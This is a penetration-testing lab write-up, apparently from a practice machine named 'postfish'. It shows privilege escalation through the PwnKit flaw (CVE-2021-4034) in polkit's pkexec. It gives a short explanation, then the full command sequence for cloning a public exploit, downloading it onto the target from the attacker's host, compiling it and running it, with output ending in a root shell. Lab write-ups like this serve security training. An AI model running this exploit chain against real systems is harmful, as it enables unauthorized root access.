CVE-2021-4034
PEAS has identified that the target system is vulnerable to CVE-2021-4034
The vulnerable program is a part of Polkit, which manages process privileges. Polkit’s pkexec allows for non-privileged processes to communicate with privileged ones, as well as instrumenting legitimate and authorized uses of privilege escalation similar to
sudo
.
A memory corruption flaw exists when no argument is passed to the function. By manipulating environment variables, an attacker can trick pkexec
to load and execute arbitrary code with superuser privileges.
Exploit
Exploit found online
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/postfish]
└─$ git clone https://github.com/berdav/CVE-2021-4034 ; tar -czf CVE-2021-4034.tar.gz CVE-2021-4034
Cloning into 'CVE-2021-4034'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 92 (delta 24), reused 19 (delta 19), pack-reused 56 (from 1)
Receiving objects: 100% (92/92), 22.71 KiB | 276.00 KiB/s, done.
Resolving deltas: 100% (44/44), done.
Downloaded and packaged
Exploitation
brian.moore@postfish:/var/tmp$ wget -q http://192.168.45.192/CVE-2021-4034.tar.gz ; tar -xf CVE-2021-4034.tar.gz ; cd CVE-2021-4034 ; make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
Transferred and compiled the exploit
brian.moore@postfish:/var/tmp/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# hostname
postfish
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:9e:19:f2 brd ff:ff:ff:ff:ff:ff
inet 192.168.111.137/24 brd 192.168.111.255 scope global ens160
valid_lft forever preferred_lft forever
System level compromise